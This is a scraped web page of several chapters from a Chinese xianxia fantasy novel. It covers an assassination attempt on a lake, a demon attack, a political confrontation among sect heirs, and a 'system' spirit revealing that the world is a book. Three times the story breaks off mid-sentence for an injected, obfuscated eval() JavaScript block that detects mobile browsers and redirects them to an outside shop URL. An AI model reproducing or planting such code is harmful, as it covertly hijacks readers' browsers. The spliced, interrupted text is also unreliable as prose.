须清宁也是这才注意到,自己冰鉴峰中执官贺茵的反应。 为什么? 贺茵看上去像是知道什么。 四下寂静。 “是的,捉贼……” 花月兮严肃地看着周拂菱,突然大声说,“是来捉,在我哥哥心尖放火的芳心纵火贼!” 花玉流瞬间脸色爆红:“……妹妹!” 须清宁:“…………” 周拂菱也瞪眼。 ……须清宁真的服了这对兄妹。 “继续。继续。”花月兮答完,氛围又活络起来,在花玉流的愈发脸红中,行酒令继续了。 但这一次,花月兮:“我赢了!” 她满面红光站起来:“我赢你了!拂菱,这叫什么?厚积薄发,反败为胜!” “我是胜者!”她大笑。 周拂菱也抿唇一笑,在这湖心悠悠摇扇,她的心态一向比寻常人族好。 花月兮摇令,摇出了言令,随后瞪向周拂菱,她神色有几分犹豫。 周拂菱也不由紧张了几分。 “周姑娘,”花月兮严肃地问,“我想帮我一个朋友问问,你是否有心仪之人。” 花玉流按住栏杆,再次紧张地低头,似要钻入船底。 周拂菱以扇掩面,须清宁也抬头看她,却听她笑吟吟地干脆答道:“没有的。我现下没有心仪之人。” 须清宁蓦地愣住,爪子紧紧按住船栏。 冷风习习,花月兮却没打算就此了结,不解地说:“但听说,周姑娘和须少掌门是过命的交情,二人十分亲近,周姑娘也曾对须少掌门表达过心仪之情,可有此事?” “是的,的确有此事。”周拂菱放下扇子,双手合在一起,却微笑道,“不过,那都是过去的事了。我的确曾心仪过师兄,但须师兄专心修道,并无结亲的想法。我周拂菱一向拿得起,放得下,也不会勉强旁人。我和少掌门只是兄妹。” 或许旁人说此话,会被人怀疑是嘴硬。 但周拂菱说话时,眸光明净,语气利落,让人不会生疑。 须清宁望着她,突然闭了闭眼,扭开了头。 花月兮听见此言,像是十分开心,兄妹二人对视一眼,花玉流埋下头,藏住了眼里的喜色。 “我也没有心仪之人,周姑娘。”花玉流说。 “什么?” “……”花玉流脸红着,半天也不肯再说一句。 须清宁:“……” 他扭头,走到船舱外,宁愿望着夜风和荷叶,也不想再听船室中无聊的对话。 晚风寂寂,吹打荷叶,须清宁望着那荷叶下的鱼,成群结对,倏然觉得更为无趣。 不过,他虽然站在船舱外,也不会忘记来此的目的,一直听着船舱内的动静。 他们再次摇骰。 “哎呀,骰子裂了!”贺茵道,“这怎么算?” 都是输家。骰裂,是两败俱伤之不祥兆。也别玩了。须清宁心道。 “都是输家啊……两败俱伤啊……还有骰子可以再重来一局吗?”花月兮不满的声音传来。 话声随风声传来,须清宁却突然注意到—— 水面风声阵阵,微波起,远方似隐隐传来抚琴之声。 这琴声,却像雷,震得水面逐渐颤抖,竟渐渐化为隐晦的雷音,灵气暗暗盘旋在上空,却是隐势。 须清宁是高品,不过一看,意识到什么,脸色一变,急急跑入船舱,猛地跳上木桌,拍爪。 周拂菱:“怎么了?” 刚才,贺茵抬起头,也猛然变色:“船下有东西!” 11. 贪鳍 只见碧波万顷荡漾,那池畔中的仙鱼乱窜。 花月兮和花玉流朝下看去,无不变色。 砰! 船底巨响,突然刺出一把长戟,渔船四分五裂。 花玉流、花月兮和贺茵当即拔出了各自的武器,花月兮为笛,花玉流为琴,贺茵为剑,与一个黑影覆面的黑衣人战到了一处。 “玉流!月兮!小茵!”周拂菱则被花月兮放到了另一侧的甲板上,很奇怪,那人并没想过攻击她。 周拂菱低头看了眼自己的小包,那包里全是须清宁的护符。 这会儿,白虎形态的须清宁也跳到了她的肩膀上,他老神在在,目光紧盯那进攻者和花家兄妹,似根本不打算出手。 “你不出手吗?师兄?” 须清宁用爪子拍了下周拂菱的肩膀,示意不出。 周拂菱又道:“鸿蒙结界,可阻挡外人看清结界内的景色……这不是二品器师才能炼制的结界吗?师兄,这人,难道是出自三大门?三大门才有二品以上的器师吧?” 周拂菱和须清宁四周已经被须清宁的神念挡住,所以打斗的人也听不见他们的叨哔。 而来人显然强于贺茵、花玉流、花月兮三人,有二品水平,一人对战,把三人逼得节节败退。 而花月兮和花玉流,进攻也各有缺点,花玉流看上去内敛,却有些急进,花月兮看上去爽朗,却有时过于谨慎,废去时机。 “兄长,不要冲过去!” 然而,一个抢招! 砰!花玉流的武器脱了手,血液流了出来。 须清宁蹙眉。 而瞬息之间,贺茵也落败,那黑衣人竟同时擒住花玉流和贺茵二人,对花月兮道: “你哥哥和你的朋友都在我手里!现在,交出来你们在康荒斋发现的东西!不然,我把他们的器官一个一个割下来。” 花月兮抿唇,咬牙道:“你在说什么?我们去康荒斋,不过是去采集治疗灵兽的草药,早就用完了!” 那黑衣人冷笑一声:“花月兮修士,还是嘴硬是么?那我便先割掉你哥哥的耳朵,再剜去他的眼睛。” 冰冷的刀刃,挨上了花玉流的耳朵,让他闭上眼睛。 花月兮:“不!” 千均一发之际,却忽听一声剑吟! “嗖”—— 一把剑从水底刺出,撞开了那要切掉花玉流耳朵的刀刃。 剑锋凛凛,天空上贯下剑气,如万丈惊雷急落,再见重影阵阵,正是破天雷阵。 只见须清宁已化成人身,在黑衣人错愕的呼声中,不过一瞬,他的一道重影,便已移至黑衣人面前。 须清宁的剑招并不是仙门最快的,但可以说是最缜密的。 黑衣人在目瞪口呆中,根本招架不住从一品的须清宁,不过三招,“砰”—— 黑衣人的剑落入水中,其人也被受仙法桎梏,动弹不得。 花家兄妹和贺茵,已是目瞪口呆。 特别是贺茵,说到底,天霁门人对须清宁是又害怕又尊敬,这会儿,她颤声惊呼:“须少掌门——” 须清宁却是冷眸低头,破开了黑衣人的黑雾。 是陌生的脸,宽鼻薄唇,目光阴冷。 须清宁散出念力,威压按下其头,散开其发,露出其耳后纹蛇。 之后,须清宁想也不想,剑又刺进对方的下肢,在惨叫声中,血渗透了对方的裤管。 须清宁问:“蛇为龙潭灵蛇卫之图腾,一向只听命于家族和少主。如今,是邹离少主和邹灵少主在管着你。你为何来此,对付两位不过四品的青山族之人?” “哼,我为何来此对付着花家兄妹,须少掌门管不着!”那人还在嘴硬,却突然变色。 因为,刚才他的表现,根本无从让人得知他是在针对谁,可以是针对花家兄妹,也可以是针对贺茵。 黑衣人悻悻闭嘴。 又一道剑气,却再次割上对方的腿,须清宁的长明剑染血。 他寒声道:“如果我把你带回天霁门,你说,你会为你的主人,惹来什么麻烦?” 黑衣人一边惨叫,一边说:“我,忠于……忠于少主。须少掌门,你如此对我,少主,也会为我出气。” 须清宁皱眉。 此话就是试探。 如果真是邹家少主所派,此人为何不遮不掩就承认? 但是,此人却真的是龙潭之人。 “我猜,你此行失败,多半活不了了。你告诉我你的难处,以及何人派你来,或许天霁门能保你。” 那人目光一动,像是在纠结,却突听一声尖叫:“师兄!” 轰隆巨响,水花激起,一只十人高的鱼妖,突然从河面跃起,扑向了周拂菱。 周拂菱抱着荷叶躲开,她本不害怕妖怪,但现在,她维持着当年选择的身份,她还是无品之人,她不能对付妖怪。 而须清宁回头望见她,脸上变色,纵身一跃,已来到周拂菱面前,一剑刺向巨妖,背起周拂菱。 而望见这等巨妖,须清宁目光也化寒。 “贪鳍”,《千妖录》上的乾级妖,凶残无比,食人,召疫,一出现,死伤无数,已被三大家封印。 本该在千妖炼狱里,这会儿,却出现在这人来人往的池畔。 砰—— 那贪鳍鳞片爆开,渗出淡淡绿气,须清宁当即停下,喂周拂菱吃了颗散毒的丹药,才又转身回去看旁人。 只见“贪鳍”带着数百只毒鱼,灌向了花月兮、花玉流、贺茵和船上的人,须清宁的剑阵,只来得及刺走数百只小妖,他的神念,竟似被什么挡住,一时无法突破鱼群。 无法,他背着周拂菱,射出长剑,以神念化出散出重身,但到底仙修的重身力量只有本体的一半,“贪鳍”被逼走,花月兮、花玉流、贺茵无不是瘫软着坐在甲板上。 另一边,再听一声惨叫,已晚了。 被桎梏在船板上的刺杀者,被百只小妖吞没,须清宁的重身,再次被挡住。 “嘎吱”!那被须清宁逼走的“贪鳍”扑出身来,一口咬碎了那刺杀者的腰,用利齿将之活活腰斩! “啊——娘!!!!”惨绝人寰的声音,回荡天际。在贪鳍在咀嚼刺杀者时,剑阵从天而降,如天罗地网般盖下。 “轰”—— 一声巨响,“贪鳍”带着那刺杀者的一半躯体,沉入湖底。 那刺杀者在船板上挣扎少许,花月兮在其临死前咬牙问道:“到底是谁刺杀我们,还杀了你,请告诉我们!” 那半边身体却一边挣扎,用手连写五个“痛”字,一边白了花月兮一眼,惨笑着道: “偏……不……说……” “哈哈……” “咚”,刺杀者的头倒了。 他死了。 这惨烈的样子,刺杀者临死前的话,让所有人在寒风中沉默。 渐渐地,结界退去。 忽闻刀剑声起,只听有人在外怒吼: “放妖毁了万山宴的贼人,速速束手就擒,仙宗特来捉拿……等等,须少掌门,您怎么在此处?!” 须清宁冷冷抬眸,质问:“你们想捉谁?” …… 仙鱼池畔,可谓热闹极了。那灯火满地的街巷,突然肃静,四周都围满了人。游湖之人,也不敢继续游湖。 而来者有龙潭的巡官,此外,还有邹家少主邹离,玉树临风,骑在蛟龙上,还有云宁门掌门之女宁朝雪,娉婷袅娜,却不乏英气,一眼望去,正是大方的仙门贵子贵女。 宁朝雪正在和须清宁议亲,看见须清宁,不由蓦地睁大眼,眼中闪过几丝慌乱。 但她瞪了眼须清宁身后的周拂菱。 一身凡族落魄打扮,怎么就跟在须清宁身边呢? 须清宁却没看她,只冷淡地挡在众人面前,目光扫过所有人。 他的气势是带一些压迫的。 一位巡官小声对他道:“仙令台得报,有人在仙鱼池畔纵妖伤人,窝藏通妖叛党。少主和仙子才带人来。” “我方才一直在,亲眼所见,我师妹游玩的船四周倏然为结界所困,还有一名刺杀者来刺杀我师妹、天霁门下四品执官和花灵山两位少主。” “现下,刚落下结界你们就来抓人,我是不是可以理解,是你们试图构陷她们?如果我不在,你们就随意抓人了?”须清宁冷冷看着他们。 “须少掌门,这怎么敢!” “我们只是听见了消息,察到动静!” 一位巡官想往里面走,须清宁却一剑挡在他面前,拦住了他们。 “今日,天霁门的人不来,青山凡族的人不来,谁也不许进去。谁知道,你们会不会毁了什么证据呢?” “清宁哥哥!”宁朝雪却咬牙道,“这湖里,还有那刺杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574746|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者的尸身,有着那其他千丝万缕的证据,自是所有人越早进去查越好。你如此拦着,不怕一会儿出现意外,破坏了线索了吗?” “我何时说过刺杀者已死?”须清宁却再次抬眸,冷冷看向宁朝雪。 让宁朝雪脸色一白,抿唇不语。 她暗悔,她的话太多了。 邹离却说:“但须清宁,你不要胡搅蛮缠,朝雪也不过是猜测。我们不过接到线报,说此处暗藏了放妖之人,袭击我族仙鱼池畔。” “花家兄妹,值得怀疑,我劝你把他二人交出来,让我属下带去搜身,若是无事,自然放回,若是有事,绝不放过!” 花家兄妹脸色惨白,须清宁的眼,却冷冷瞪向邹离,这位可以说是仙门最尊贵的公子,其母邹兰辞,是仙盟盟主。 曾经邹离和须清宁二人同岁,一起修行,但少时关系就并不好。 邹离看上去讲理,实际上十分倨傲,要做的事,一定要做,还喜欢暗里对天霁门的人使坏。 当年,须清宁被构陷,邹离听后信了旁人的话,亲自带人把他的手骨碾碎。 后来,他洗冤回来,邹离见他的第一句,也不过是冷冰冰的: “你当时怎么不道明一二?怎么不防住那须蕤?” 若是旁人在,须清宁怎么也要让那个人拿出线报,一一对质。 不过,这多年的经历,须清宁学会了不制造不必要的麻烦,也不搭理智障的人。 他打算等龙潭的卫师来后对质。 卫师,是二品仙官,九大仙卿之一,负责龙潭警卫。 这之前,邹离闹大,也并非无利。 他直接回首,见自己门人陆续赶来,便对花家兄妹等人说:“跟我走。” 众人无视邹离走了,只见邹离愣了一瞬,随即难以置信地瞪向须清宁。 须清宁,从出生起,总是那么清高。 从前好不容易跌落谷底了,如今爬回来,家族地位也不如他邹家,怎敢如此?! 他眼中渗出暴怒,抬起手中鞭子,却被一旁的仙官按住了:“公子,您想被家主罚么?家主说了,为人当守礼。” “知什么礼?!”又一人推开仙官,“这里是龙潭?!公子难道还想被人欺负了去?龙潭的脸都被丢光了!” 出声者是邹离的老师。邹离脸色赤红,紧紧按住鞭子。 然而,当扫到那花家兄妹,他突然想起了这花灵山是养灵兽起家,不能动人,还不能动灵兽么? “花家的,你们听好了,你们二人再走一步!我就断了灵兽的一条腿,看我今天废了多少灵兽!” 邹离随地卷来一个小白泽。 这城中满是豢养的观赏性灵兽,正如小白虎,处处皆是,正惊恐地看着邹离。 邹离伸手,“嘎”地一声,掐断了白泽的腿,换得幼崽惨叫。 花玉流、花月兮猛地回头。 邹离还要动手时,却突然花玉流动手了。 花玉流闪身至邹离身前,就想夺回灵兽,然而,邹离一声坏笑,他袖口突然射出一根刺。 砰! 青光湛湛的刺,眼看就要刺入花玉流的眼,花玉流的衣摆却被人一扯,剑气轰向了刺,这刺威力巨大,却还是擦过了花玉流的大腿。 花玉流大腿流血,不过擦出皮,便站不稳。 花月兮一声大叫,抱住花玉流,咬牙:“你们仙门中人,怎可如此伤人?!” 邹离却说:“对不起,花公子,花姑娘……啊,真是好称呼,对不起!这是我娘送我的机关,出了些差错!” 他脸上的笑实在虚伪。 须清宁:“这价值千金、可废人半个小境界的‘灭境针’,邹公子也会不小心射出么?那参加万山宴之人,可都要人人自危了!” “邹公子,你也不必如此胆小,什么都不敢承认吧?那二品刺杀者是蛇卫,难道不是你派来的?” 邹离本笑着,闻言,脸上的笑容却突然消失了:“二品蛇卫?须清宁,你不必如此构陷,血口喷人!” 他再次抬臂,鞭子就要卷向须清宁和花家人。 须清宁垂眸,他本就是想逼他出手,把事情闹大,让邹家理亏。 如今仙盟暗流涌动,但面上的功夫,各家都要做。 然而,却突听一道清喝:“住手!” 邹离的手,也如被按了机关般顿住,脸色猛然变了。 12.兰辞 邹离:“娘!” 只见漫天威压落下,一位妇人从天而降,身后跟着不少人。 此人面目威压,不怒自威,一身金衣,正是仙门仙上,如今仙门第一人邹兰辞。 她面悬面纱,让人看不清面貌,但威压密布,四周人都不敢发言。 她一下来,一巴掌打到邹离脸上。 须清宁的脸色也微微变了。 而后,邹兰辞回首:“清宁,没事吧?” “快,快,扶起地上的二位。” “我已听说今日之事,担心离儿胡闹,被人当枪使,才立刻过来。” 她出声却轻言细语,亲自扶起了所有人,扶着周拂菱时,她的手微微一顿,似是疑惑什么,而后松开了。 而随着邹兰辞的到来,一切都似雨后天晴。 邹兰辞行动雷厉风行,态度轻风细雨,安抚了所有人,包括须清宁、宁朝雪,还有花家兄妹,也细细问了每人到底发生了什么。 “我自会带人处理好。”邹兰辞拉住须清宁的手,拉住宁朝雪的手,放在一起,“清宁呀,听说你要和朝雪结亲了,不要被此事分心了。听说你们在万山宴,还要一同去东方的神池,代表各自门派‘望道护生’呢。” “辞姨……”宁朝雪不好意思地看了眼须清宁。 须清宁却冷淡垂眸,淡声说:“邹盟主说笑,清宁并无结侣之意。” 他心里一沉,刚才就是想把事情闹大,这件事他自己来查。 然而邹兰辞来了,作为仙门盟主,她要查,还样样俱到。 他没机会了。 听到须清宁的话,邹兰辞却笑了:“清宁,我知道你少时对你父母发过誓,说不成婚。但那都是少时气话,作不得数。怎么,你就真不为你父母留一条血脉?只盼着你叔叔和我的兰柔妹妹留?” “我活着不是为他们传宗接代。”须清宁淡声道。 邹兰辞:“……” 她嘴角抽了抽,又拍向须清宁的肩膀,却说:“好啦,我也知道,你和朝雪太熟了……” “或许要结亲,也实在不会习惯。若是愿意,朝雪和清宁也可以来我邹家族内,好生看看,或许能另结良缘呢~” “……”宁朝雪这也变色了。本以为邹兰辞是来帮忙的,结果也是来抢人的。 但须清宁的身份,的确决定了他会被两个大家族争抢。 宁朝雪也碍着晚辈身份,不能顶撞邹兰辞,一路憋坏了。 须清宁也不多说,先行告退了。 …… 冷风下,人来人往,在邹兰辞有序的指挥下,尸身被抬出,宾客被请走询问,龙潭再次恢复秩序。 “娘!”等四下无人,邹离走到邹兰辞身边,发出小兽般的低吟,“您方才这样对儿子,儿子好伤心!” 邹兰辞看了他一眼,叹了口气,递给了邹离一个玉瓶。 玉瓶精致,在月光下散出幽光。 邹离看见,躬身道:“谢谢娘!” 而后,他打开玉瓶,把玉瓶中的药倒了下去。 地上的草丛里,是被邹家修士赶来圈禁的观赏性灵兽们,正瑟瑟发抖地挤在一起。 在那药倒下后,灵兽们的惨叫声此起彼伏,盖过了蝉鸣。 它们的皮肤绽开了,皮肉渐渐化去,痛得跳起来,死去活来的翻滚,又渐渐死去。 邹离看着这一幕,心中得到了平静,缓慢地露出了微笑。他抬头看他的娘,二人都在笑。 邹兰辞:“知道我为什么打你么?” “娘请说!” “一将功成万骨枯。许多事做成前,不对,做成后,表面功夫也要做到位。”邹兰辞低声道,“这样,处事多了许多余地呢。要等,离儿。” 邹离点头,随后问:“所以娘,离儿还要等多久?” 邹兰辞瞪着他,笑意突然消失了,眼中闪过一道戾色,她终是摇了摇头。 “蠢货。” 只留得邹离一个人尴尬地留在下壤,抓狂地拿起剑,劈树,劈灵兽。 …… 下壤的另一边。 须清宁带人回去,至于周拂菱,他不打算让她住到下壤去了,却不想,周拂菱一直跟在受伤的花玉流身边,一副十分担心的表情。 须清宁抿着嘴,蹙着眉看她,月光在他端丽冠绝的脸上,渡了层寒意。 而须清宁在途中,也喊上花月兮和贺茵,问了她们对今日之事的头绪。 不想,花月兮二人顾左右而言他。 “花月兮修士,我望你清醒些。”须清宁道,“事到如今,还分不清敌友么?” 二人之间也算有些隔阂,因为花月兮曾被须清宁的后母收养。 花月兮咬唇,最后却鞠躬道:“须少掌门,今日救命之恩,花家定会还的。日后若有用得上月兮的地方,万不要客气。月兮万死不辞。” 花玉流被抬着,也撑起身子表态,以后一定还须清宁恩情。 而须清宁见二人态度诚挚,再想起方才花玉流护着灵兽的反应,对二人品行已有一般计较。 虽然怀疑康荒斋之行有二人算计,须清宁思忖半晌,终是未紧迫,点头。 他决定之后派人盯着他们。 然而,走了一半,周拂菱还跟在花玉流身边。 “拂菱,没事的。”花玉流被抬着,也请一旁的随行仙侍,把两枚做工精巧的平安符递到周拂菱手里。 “今日,多谢了拂菱的护符,也多谢须少掌门,若没有你们,我定会重伤的……”花玉流也看了眼须清宁,再看周拂菱,脸红了,“这符,是我在花家家庙中,宗祖之灵庇护下,亲自画的可以召唤灵兽‘潦觞’治疗灵体之伤。这是送给拂菱和须少掌门的。” 须清宁回首,却见周拂菱拿起一枚蓝色和一枚红色的唤灵符囊。 她讶异道:“呀,这红色的上面怎么有‘心莲’呀?!” 须清宁脚步一顿:“…………” “心莲”,这是此界用来示爱的。 花玉流脸红道:“因为,这个是送给拂菱的……” “……”须清宁沉默少许,扭开头,加快脚步。 “师兄。”周拂菱突然喊他。 须清宁这才抬首,抿唇看她。 周拂菱说:“可以带玉流回仙府住吗?那里更为安全。” 须清宁:“……” 他难以置信,冷冷道:“什么?” “仙府更安全。今日情形看上去,像是有人要针对月兮和玉流。” 须清宁最终没说什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580114|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只冷淡留了句,“爱来就来。” 花玉流最终搬到了龙潭上空天霁门的仙府中住。 须清宁本把周拂菱安排在了另一角的院落中,然而,周拂菱没事就往花玉流那里跑,忙上忙下。 大雪纷飞,飘在云间,须清宁路过那院落,正好能看下灯影照窗,周拂菱弯下身子。 须清宁垂眸。 他突然想起了很久以前的事。 曾经,他满身重伤,倒在了天绝涧外的雪原,几乎没了生意。 “醒醒。” “醒醒。” 他要活不下去时,周拂菱便是用一张草席,拖着他,时不时喂他药,带他一步步地走出天绝涧,带他在山下安居,治疗他看不见的眼睛,治疗他被毁的脸,让他重新得见天光。 当时,听清楚的第一句话,也是她对他说:“醒醒”; 能视物后,看到的第一个人,也是一身青衫、拌着草药的她; 后来,沉默许久的他重新开口说话,说出的第一个词,也是“周拂菱”; 但现在—— 周拂菱也在这样对花玉流。 须清宁冷冷盯着窗外的剪影,拿起剑,便要往里走,然而,他的识海突然一痛。 他按住头。 神魂刺又发作了。 也是这时,他突然听到了冰冷的声音传来: 【恭喜。宿主须清宁,已完成你的第一个任务。保护主角花月兮一族,阻止反派黑化。】 他猛然抬头,只见那先前消失的光灵,浮在空中。 “愿意谈谈么?”光灵说。 …… 熏香袅袅,风铃垂落。 周拂菱躺在花玉流的榻边。 花玉流睡去了,睡容俊美,或许是因为周拂菱在这里,脸颊还浮着绯红。 而花玉流的屋子,待着十分舒服。 雕花木窗棂上,映着温暖细碎的金黄火光。清芬酝藉,火炉噼啪作响,花家的灵兽睡在人的脚下,雪白柔软的毛衬着周拂菱。 周拂菱很少精神如此舒服。 过去,她的神识时不时锐痛。 她也喜欢花玉流身上的香味。 至于须清宁……周拂菱决定暂时不管他。 他神魂刺总是会破的,到时候再说。 周拂菱伏在床边,却突然,渐渐地,渐渐地,身体向下沉,她进入了梦境。 但这会儿的梦,和过去不一样。许多年前的旧梦,重新浸入她的脑子。 那是记忆。 “这是万家灯火呀。”亲人抱着周拂菱,坐在了栏杆上,也是龙潭,看着远方的灯火。 “坐得越高,才能看得越远。”亲人说,“所以,千万不能掉下去。” 她歪了歪头,“算了,你不会懂的。” 她的姐姐却在一旁跳脚道:“我懂,我懂!” 这时,父亲来了,拿着两串糖葫芦,一串给了拂菱,一串给了妹妹。 她和姐姐吃了糖葫芦,又跑到了雪地里,手拉手,一起放鞭炮。 姐姐抱着一只猫,要把小猫给她。 周拂菱也笑道:“朝雪姐姐!你真好!” 周拂菱醒了。头有些痛。 哦,她想起了好久以前的事呢。 13.原世界线 梯云绵延,贯通天地,周拂菱正坐在叠石小山下,和仙府的盲婆玩闹。 这盲婆,一身青衫,不知是哪里来的,大概是邹府养的人,总是出没于仙府琼楼之间,说一些鬼话。 但周拂菱和盲婆十分投缘。 盲婆丢下石子。 “一生二,二生一。” “有没有可能四生一呢?”周拂菱道。 “你不就是吗?丫头。” 这琼楼瑶池之下,白衣青袍的修士们正整装待发。 不一会儿,周拂菱跑来,对诸位弟子一一地发放平安符。这是仙门传统,不参加试炼之人,对试炼之人进行祝福。 须清宁正在整理着剑,今日收了不少仙官和弟子奉来的平安符,但他的目光却始终时不时看向另一方。 “少掌门,周姑娘在和盲婆一起玩呢。”昊澄小声提醒。 “……”须清宁紧抿嘴唇,回首瞪了昊澄一眼。 “师兄。” 但听一阵轻灵的脚步声。 须清宁回头。 只见他疏冷的气息散去不少,周拂菱站在他身后,递给他了一枚绣好的平安符。 “师兄,你万山宴小心。” 须清宁低头。 这枚平安符很好看,青绿的菱角旁,绣着“平安”二字,一眼望去,生机勃勃。 他“嗯”了声,便把平安符系在腰间,转头看向周拂菱。 不想,周拂菱对他点了点头,转身就走了。 须清宁垂眸。 现下,还有更令人警惕和烦扰的事。除了这神魂刺,还有另一桩。 须清宁的识海,倏然响起一道冰冷的声音: [宿主,你今日的任务,是帮助主角花月兮脱离潜在危险,还有,做好攻略反派的准备。] 须清宁蹙眉。 他的手背上,再次浮起“叁拾叁”,那金色的无法擦拭掉的纹路。 …… 前日。 须清宁在仙鱼池畔,帮助花家兄妹脱险后,回到仙府,却再次见到了光灵。光灵说要和他谈谈,须清宁提剑便快速追上。 经历了仙鱼池畔一事,须清宁对这光灵的态度也和先前大为不同。 花月兮、花玉流,都为四品,险些丧命,为人正派; 另一方始作俑者,纵妖杀人,为人不齿,也不当纵灵告知他此事。 须清宁跟上琼楼之际,却也没全然松懈,已做好了再次制住光灵的准备,不想,他竟因眼前的情景蹙眉。 漫天星空之上,却忽有澎湃灵力灌下,须清宁倏然感觉到一股可扭曲时空的力量。 他猛地抬眸,本以为这是幻境,但是,须清宁为从一品,能够分辨出幻境和天道的真实区别。 这竟像是怪灵和天道之力相连,传来了某种信息。 而澎湃的天道之力,正和须清宁父母在他少时所授的那般——至纯至善,如春雨,如德泽,滋养万物。 须清宁眼中泛起狐疑。 而那怪灵不过施展一次这法术,天道之力便突然消失,像是其只能撑一瞬。 须清宁抿唇。 就算是只能撑一瞬,那也是和天道相连。 须清宁无声地望着怪灵,手却没有松开长明剑。 怪灵说:“须清宁,你……我知道多疑,但请听我为你解释我是什么,你再做决定,是否可以?” 须清宁:“说。” 怪灵:“你可以把我当作天道自未来输送而来的一种灵物,是一种灵玉,而我之所以在此,便是因为,你们的世界,将要崩塌。” “你也可以把你的世界理解为一本书,这个世界的主线,是天道之女花月兮救世——” 接下来,须清宁的识海中却倏然多了许多信息。 …… 这信息隐隐约约告诉他,他竟是活在一本书里。 书的主角是花月兮,她的家族因被小人嫉妒陷害,都惨死天绝涧。 于是,花月兮拜入了天霁门,试图让须清宁帮她复仇。须清宁成为了她和花玉流的师尊。 系统道: “但后来……那被坏人养大的超级大反派,却盯上了花月兮。此人佛口蛇心,手段残忍,可谓十恶不赦…… 更恐怖的是,这位反派被人推着,拥有了可怕的权势。她杀了很多人,几乎毁了仙门四大门和十万大山。” 这些信息也在须清宁的识海翻滚。很破碎,但是他隐约看见了讯息。 反派囚禁了他,剖了他的仙骨。 反派也走火入魔,在尝试改造仙族和人族之际,引发妖地大灾变,狠辣地报复花月兮,险些灭世。 最后的结局,是花月兮惨死。他,须清宁,为平复妖变天灾,自愿血祭,但没成功。 “这个世界,以失序为结局。”系统最后说。 天绝涧。 须清宁本看见到“花月兮”就怔住,看到那“天绝涧”这个称呼更是一怔,也仿若一道霹雳劈入识海。 方才的光影,都无比破碎,他看不到反派的脸,但却能知道那很危险,那人身上,也的确带着天绝涧的气息。 而“天绝涧”,的确是世上最凶险的妖地。 星会二年,即两千年前,李氏造反失败,开通幽道,万妖入世,史称“万妖之乱”。 直到仙门 “上光仙尊”宁秀灵上位,建立了部野制(都城和野外分开管理)、天绝涧制,妖灾才逐渐平息。 “天绝涧制”,便是指当年的仙门中人耗费心血,在一重门和凡间各地修建了十二处绝涧秘境,设计阵法,挥洒血汗,以万千修士血肉,封印了十二大妖。 但后来,因妖物反制,天绝涧在修士手中失控,守阵人十二人死了七人。那失守的七大绝涧,便被看作如今最为凶险的妖地。 绝涧生妖,若不制止,妖物会蚕食野外的土地,仙凡终将灭亡。 须清宁须家,便足有四房,都死于二十一年前的绝涧大妖变。 须清宁猛地睁眸—— 当年,他因伤闭关,却不想,出来便听到了,家族中几乎所有人的死讯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590172|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 父亲。大伯父。大婶婶。三姑姑。三姑父。小叔叔。三位堂弟。五位堂妹。 都死了。 这些活生生的人,特别是在他遭遇不公时把他抢来的伯父,告诉他万事有三房的三姑姑,还有和他一同修剑的妹妹弟弟,全都消失了。 他们化为了碎剑,破碎的、被咬烂的尸块。 一只被碾碎、绝望蜷曲的手指,属于伯父。 一只被按碎的眼睛,属于姑姑。 还有被撕碎的腿,属于和须清宁感情不好的父亲。 ——“清宁,当时太危险了,我们不能怪龙潭!不能怪龙潭和云宁!他们赶不过去,真的赶不过去!”他的后母况允初,哭得痛不欲生,“但大哥嫂嫂,乐旬……都被,生吞活剥!生吞活剥啊!” 此时,想到天绝涧,须清宁心里就生起一股浓重的恨意。 哪怕已经过了二十年,他回忆起当年场景,便心中生起愤怒、恨意和痛苦,心痛得仿若要死去。 对于最爱的亲人之死,他总以为时间会让此麻木。 但没有用,每次想起,都心如刀割。 像是想起一次,就回到了当年的虚无; 像是想起一次,就在提醒自己,已从什么都有,到了几乎一无所有。 不,不…… 他还有周拂菱。 须清宁倏然清醒过来。 叔叔也回来了。 当年,须清宁的小叔叔,如今的掌门也在天绝涧失踪。 天霁门须家倏然只剩下了他。 他能力不足,险些让天霁门和母族夏家一样被人蚕食消失,叔叔回来,他们才联手回归。 须清宁缓了会儿,才抬头,哑声道: “天绝涧的妖变终会失控?有人放出妖物,仙门会毁灭?” ……须清宁从没这么清醒过。 他不认为这个光灵会在有人会纵妖这件事上撒谎。 纵妖入世,只能是妖修。如今仙门的法术,只要那人出手,便可以辨别。 光灵:“是的。救世之玉——见过天道的千次推演,这个世界最终都将被反派和其家人毁灭。而改变这一切最可能成功的做法,便是救赎反派。” “找到恶毒反派的心魔,救治她,让她从善。“ 须清宁却听得蹙眉颦锁。 “……救赎?”他冷冷道。 光灵:“……” 